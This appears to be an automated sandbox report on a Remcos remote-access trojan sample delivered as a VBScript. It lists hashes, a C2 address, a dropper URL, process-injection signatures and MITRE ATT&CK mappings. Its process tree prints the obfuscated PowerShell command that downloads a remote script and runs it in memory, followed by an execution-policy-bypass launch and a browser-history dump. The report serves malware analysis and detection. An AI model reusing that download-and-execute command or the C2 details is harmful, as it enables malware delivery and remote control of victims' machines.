remcos | d2d9b66c9aad0e6cc20a786a89299a8b4a65a5a344db369dfd7bfbad3fb40b55

General

Target

Appraisal.vbs
Size

706B
MD5

b201aa5242dd9b32ec9c38e1f999c723
SHA1

61ab2c43d19c6441e394561e0441890168b9a9ab
SHA256

d2d9b66c9aad0e6cc20a786a89299a8b4a65a5a344db369dfd7bfbad3fb40b55
SHA512

a21aeb8a0ec963875d75ba4920f3bde9a134717a910b94a2743ab7051dabe9e17a5e0a15aeb51be26373f0cb6313b6c964bef2ebb318061074399296d5c5ddfc

Score

10^/10

remcos rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://ia601406.us.archive.org/10/items/all_20210426/ALL.TXT

Extracted

Family

remcos

C2

185.19.85.168:1723

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Blocklisted process makes network request 3 IoCs

Processes:

powershell.exe

flow pid process

8 3872 powershell.exe
20 3872 powershell.exe
22 3872 powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 2232 set thread context of 808 2232 powershell.exe aspnet_compiler.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exe

pid process

3872 powershell.exe
3872 powershell.exe
3872 powershell.exe
2232 powershell.exe
2232 powershell.exe
2232 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 3872 powershell.exe
Token: SeDebugPrivilege 2232 powershell.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

aspnet_compiler.exe

pid process

808 aspnet_compiler.exe

flow	pid	process
8	3872	powershell.exe
20	3872	powershell.exe
22	3872	powershell.exe

description	pid	process	target process
PID 2232 set thread context of 808	2232	powershell.exe	aspnet_compiler.exe

pid	process
3872	powershell.exe
3872	powershell.exe
3872	powershell.exe
2232	powershell.exe
2232	powershell.exe
2232	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3872	powershell.exe
Token: SeDebugPrivilege	2232	powershell.exe

pid	process
808	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 19 IoCs

Processes:

WScript.exepowershell.exepowershell.exeaspnet_compiler.exe

description	pid	process	target process
PID 808 wrote to memory of 3872	808	WScript.exe	powershell.exe
PID 808 wrote to memory of 3872	808	WScript.exe	powershell.exe
PID 3872 wrote to memory of 2232	3872	powershell.exe	powershell.exe
PID 3872 wrote to memory of 2232	3872	powershell.exe	powershell.exe
PID 2232 wrote to memory of 808	2232	powershell.exe	aspnet_compiler.exe
PID 2232 wrote to memory of 808	2232	powershell.exe	aspnet_compiler.exe
PID 2232 wrote to memory of 808	2232	powershell.exe	aspnet_compiler.exe
PID 2232 wrote to memory of 808	2232	powershell.exe	aspnet_compiler.exe
PID 2232 wrote to memory of 808	2232	powershell.exe	aspnet_compiler.exe
PID 2232 wrote to memory of 808	2232	powershell.exe	aspnet_compiler.exe
PID 2232 wrote to memory of 808	2232	powershell.exe	aspnet_compiler.exe
PID 2232 wrote to memory of 808	2232	powershell.exe	aspnet_compiler.exe
PID 2232 wrote to memory of 808	2232	powershell.exe	aspnet_compiler.exe
PID 2232 wrote to memory of 808	2232	powershell.exe	aspnet_compiler.exe
PID 2232 wrote to memory of 808	2232	powershell.exe	aspnet_compiler.exe
PID 2232 wrote to memory of 808	2232	powershell.exe	aspnet_compiler.exe
PID 808 wrote to memory of 3112	808	aspnet_compiler.exe	aspnet_compiler.exe
PID 808 wrote to memory of 3112	808	aspnet_compiler.exe	aspnet_compiler.exe
PID 808 wrote to memory of 3112	808	aspnet_compiler.exe	aspnet_compiler.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Appraisal.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:808
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" I`E`X((n`e`W`-Obj`E`c`T(('Net'+'.'+'Webc'+'lient'))).(('D'+'o'+'w'+'n'+'l'+'o'+'a'+'d'+'s'+'tri'+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+'n'+'g')).InVokE((('https://ia601406.us.archive.org/10/items/all_20210426/ALL.TXT'))))
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3872
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windo 1 -noexit -exec bypass -file "C:\Users\Public\ Microsoft.ps1"
    3⤵
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2232
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
      #cmd
      4⤵
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:808
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe /sort "Visit Time" /stext "C:\Users\Admin\AppData\Local\Temp\xiec"
        5⤵
        
        PID:3112

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Public\ Microsoft.ps1

MD5
3dd793f6fdb49034bfaed9d1975a32e5

SHA1
13bbbb0b874f1c097eb80382a3266cefec632a2e

SHA256
de9a6d430a80d2b466e959d4e7e8e3fa6c7384670bdab6fc2881df2ed4b12a37

SHA512
f4ca7f706f259d2a5b3e925c25da97093783946c85ef5dce76cd9f28f79539de44ad784c457ada7aed77e3998011831b8101e03576be20252539fe7f27e3e0c7

Download Submit
memory/808-189-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/808-186-0x000000000042EEEF-mapping.dmp

Download
memory/2232-175-0x0000016E56A30000-0x0000016E56A32000-memory.dmp

Filesize
8KB

Download
memory/2232-138-0x0000000000000000-mapping.dmp

Download
memory/2232-163-0x0000016E569D0000-0x0000016E569D1000-memory.dmp

Filesize
4KB

Download
memory/2232-176-0x0000016E56A33000-0x0000016E56A35000-memory.dmp

Filesize
8KB

Download
memory/2232-182-0x0000016E569A0000-0x0000016E569BF000-memory.dmp

Filesize
124KB

Download
memory/2232-187-0x0000016E569C0000-0x0000016E569C1000-memory.dmp

Filesize
4KB

Download
memory/2232-188-0x0000016E56A36000-0x0000016E56A38000-memory.dmp

Filesize
8KB

Download
memory/3872-126-0x000001AF70770000-0x000001AF70771000-memory.dmp

Filesize
4KB

Download
memory/3872-132-0x000001AF6E576000-0x000001AF6E578000-memory.dmp

Filesize
8KB

Download
memory/3872-114-0x0000000000000000-mapping.dmp

Download
memory/3872-123-0x000001AF6E573000-0x000001AF6E575000-memory.dmp

Filesize
8KB

Download
memory/3872-122-0x000001AF6E570000-0x000001AF6E572000-memory.dmp

Filesize
8KB

Download
memory/3872-121-0x000001AF6E4F0000-0x000001AF6E4F1000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads